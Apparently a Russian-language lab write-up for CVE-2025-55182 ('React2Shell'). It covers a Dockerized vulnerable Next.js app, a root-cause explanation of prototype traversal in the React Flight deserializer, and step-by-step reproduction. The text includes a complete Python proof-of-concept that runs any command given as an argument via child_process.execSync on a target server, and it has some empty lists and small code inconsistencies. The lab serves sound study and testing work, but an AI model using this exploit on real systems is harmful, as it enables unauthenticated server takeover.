
a.k.a. React2Shell
Разделы, требуемые руководящими принципами задания, отмечены "(Required)".
В данном окружении используется собственный Dockerfile на основе официального образа Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Dockerfile собирает уязвимое окружение с React Server Components (RSC) и Next.js App Router.
Окружение устанавливает уязвимые версии:
Уязвимый сервер запускается в режиме разработки с помощью npm run dev.
Уязвимый сервер запускается в режиме разработки с помощью npm run dev.
Окружение работает по следующей структуре:
[Атакующий / exploit.py]
↓
[Next.js App Router]
↓
[Парсер React Flight Protocol]
↓
[Среда выполнения React Server Components]
↓
[Среда выполнения Node.js]
Атакующий отправляет специально сформированный multipart/form-data запрос на уязвимое приложение Next.js.
Вредоносная полезная нагрузка злоупотребляет процессом десериализации протокола React Flight.
Уязвимое приложение использует архитектуру Next.js App Router.
Запрос обрабатывается через конвейер React Server Components.
Исходный код приложения находится в каталоге src/app/.
src/
└── app/
├── layout.js
└── page.js
Файл layout.js определяет корневой макет, необходимый для структуры App Router, и инициализирует среду React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
Файл page.js определяет корневую страницу, отображаемую в /, и выводит простое сообщение о том, что уязвимый сервер работает.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Зависимости проекта и скрипты выполнения управляются через файл package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Этот файл определяет уязвимые версии:
Уязвимое приложение запускается с помощью:
"scripts": {
"dev": "next dev"
}
Сервер запускается через:
npm run dev
что запускает уязвимый сервер разработки Next.js на порту 3000.
Протокол Flight десериализует сложные объекты React, такие как:
Уязвимость возникает в ходе этого процесса десериализации.
Среда выполнения React обрабатывает подконтрольные атакующему полезные нагрузки Flight.
Небезопасный обход свойств и доступ к прототипу в конечном итоге позволяют атакующим перехватить конструктор Function.
После успешной эксплуатации произвольный код JavaScript выполняется внутри серверного окружения Node.js.
Это приводит к удаленному выполнению кода (RCE).
| Компонент | Версия |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
Окружение использует уязвимые реализации React Server Components и протокола Flight.
CVE-2025-55182, также известный как React2Shell, — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая React Server Components и протокол React Flight.
Уязвимость возникает в процессе десериализации подконтрольных атакующему полезных нагрузок протокола Flight.
Проблема позволяет атакующим:
Уязвимость особенно опасна, поскольку эксплуатация может происходить без аутентификации с помощью одного специально сформированного HTTP-запроса.
Приложения, использующие уязвимые версии React Server Components и конфигурации Next.js App Router, напрямую подвержены риску.
Основная причина уязвимости — небезопасная обработка подконтрольных атакующему ссылок на объекты во время десериализации протокола Flight.
React Flight внутренне использует специальные строки ссылок, такие как:
$@0
$B1337
$1:__proto__:then
Эти ссылки рекурсивно разрешаются во время десериализации.
Уязвимая логика выполняет обход свойств, аналогичный:
value[path[i]]
без проверки, принадлежит ли свойство самому объекту.
В результате атакующие могут получить доступ к опасным свойствам цепочки прототипов JavaScript, таким как:
__proto__
constructor
prototype
Это в конечном итоге позволяет осуществить загрязнение прототипа и перехват конструктора Function.
Атакующий сначала создает поддельный объект chunk React.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Критическое поле:
"status": "resolved_model"
Среда выполнения React ошибочно доверяет этому полю и обрабатывает подконтрольный атакующему объект как легитимный внутренний объект chunk.
Полезная нагрузка:
$1:__proto__:then
заставляет десериализатор обходить цепочку прототипов JavaScript.
Поскольку уязвимый код не проверяет опасные свойства, атакующий получает доступ к:
Chunk.prototype.then
Это превращает поддельный chunk в thenable-объект.
Полезная нагрузка:
$1:constructor:constructor
в конечном итоге разрешается в:
Function
Это заменяет:
response._formData.get
на глобальный конструктор Function JavaScript.
В результате становится возможным:
Function(attacker_controlled_payload)
Полезная нагрузка:
$B1337
заставляет парсер React Flight перейти в логику разбора Blob.
В ходе этого процесса выполняется:
response._formData.get(...)
Однако атакующий уже заменил эту функцию на глобальный конструктор Function.
Это окончательно приводит к выполнению произвольного кода JavaScript внутри среды выполнения Node.js.
Процесс эксплуатации происходит в следующем порядке:
Запрос атакующего
↓
Разбор полезной нагрузки Flight
↓
Создание поддельного Chunk
↓
Загрязнение прототипа
↓
Перехват конструктора Function
↓
Триггер разбора Blob
↓
Разрешение Promise
↓
Удаленное выполнение кода
Атакующий сначала отправляет специально сформированный многокомпонентный Flight-запрос.
Уязвимый сервер десериализует вредоносную полезную нагрузку и рекурсивно разрешает подконтрольные атакующему ссылки.
Небезопасный обход прототипа в конечном итоге позволяет атакующему перехватить конструктор Function.
В ходе разрешения Promise и разбора Blob выполняется произвольный код JavaScript.
Успешная эксплуатация позволяет атакующим выполнять произвольный код JavaScript внутри серверного окружения Node.js.
В данном окружении эксплойт выполняет:
touch /tmp/success.txt
Успешная эксплуатация подтверждается, если внутри контейнера существует следующий файл:
/tmp/success.txt
В реальных окружениях атакующие могут:
Уязвимость особенно опасна, поскольку затрагивает внутренние механизмы фреймворка React, а не бизнес-логику приложения.
Это означает, что большое количество приложений может стать уязвимым просто из-за использования затронутых версий фреймворка.
Proof of Concept (PoC) написан на Python.
Эксплойт отправляет вредоносный multipart/form-data запрос напрямую на уязвимое приложение Next.js.
PoC выполняет следующие действия:
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
Полезная нагрузка эксплойта использует несколько специально сформированных ссылок протокола Flight.
$1:__proto__:then| Часть | Назначение |
|---|---|
$1 | Ссылка на chunk 1 |
__proto__ | Обход цепочки прототипов |
then | Извлечение Chunk.prototype.then |
Эта полезная нагрузка превращает поддельный chunk в thenable-объект.
$1:constructor:constructor| Часть | Назначение |
|---|---|
$1 | Ссылка на chunk 1 |
constructor | Доступ к конструктору объекта |
constructor | Разрешение до глобального конструктора Function |
Эта полезная нагрузка перехватывает конструктор Function JavaScript.
$B1337Префикс $B заставляет парсер Flight перейти в логику разбора Blob.
В ходе этого процесса выполняется:
response._formData.get(...)
Поскольку атакующий уже заменил этот метод на конструктор Function, выполняется произвольный код JavaScript.
$@0Эта полезная нагрузка создает циклическую ссылку на chunk.
Chunk 1 в конечном итоге снова ссылается на Chunk 0.
Такая структура позволяет десериализатору использовать подконтрольный атакующему поддельный объект chunk во время обхода прототипа.
Эксплойт сначала создает случайную многокомпонентную границу.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
Это необходимо для построения валидного запроса multipart/form-data.
Эксплойт создает вредоносный поддельный объект chunk.
"status":"resolved_model"
Это заставляет среду выполнения React обрабатывать подконтрольный атакующему объект как валидный внутренний chunk.
Следующая полезная нагрузка:
$1:__proto__:then
заставляет уязвимый парсер обходить цепочку прототипов JavaScript.
Следующая полезная нагрузка:
$1:constructor:constructor
заменяет внутренний метод get на конструктор Function JavaScript.
Полезная нагрузка:
require('child_process').execSync('touch /tmp/success.txt')
в конечном итоге выполняется внутри среды выполнения Node.js.
Успешная эксплуатация создает:
/tmp/success.txt
внутри уязвимого контейнера.
Полный поток эксплойта приведен ниже:
Запуск Docker-окружения
↓
Запуск уязвимого сервера Next.js
↓
Выполнение exploit.py
↓
Отправка вредоносной полезной нагрузки Flight
↓
Запуск загрязнения прототипа
↓
Перехват конструктора Function
↓
Запуск разбора Blob
↓
Выполнение произвольного кода
↓
Проверка /tmp/success.txt
Сборка Docker-образа.
docker build -t rsc-vuln .
Запуск уязвимого контейнера.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
Уязвимый сервер Next.js будет работать на:
http://127.0.0.1:3000
Выполнение скрипта PoC.
python3 exploit.py
Эксплойт отправляет вредоносную полезную нагрузку React Flight на уязвимый сервер Next.js.
Проверка, успешно ли эксплойт создал целевой файл.
docker exec -it my-vuln-server ls -la /tmp/success.txt
Успешная эксплуатация подтверждает, что произвольное выполнение кода произошло внутри уязвимого контейнера.
При успешной эксплуатации эксплойт должен запустить десериализацию React Flight и обход прототипа.
Уязвимый сервер обрабатывает вредоносную полезную нагрузку Flight и выполняет подконтрольный атакующему код JavaScript.
Успешная эксплуатация подтверждается при наличии следующего файла:
/tmp/success.txt
Пример вывода:
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
Это подтверждает, что произвольные команды были успешно выполнены внутри уязвимой среды Node.js.
Следующие скриншоты были включены в каталог screenshots/:


| react-server-dom-webpack |
| 19.0.0-rc |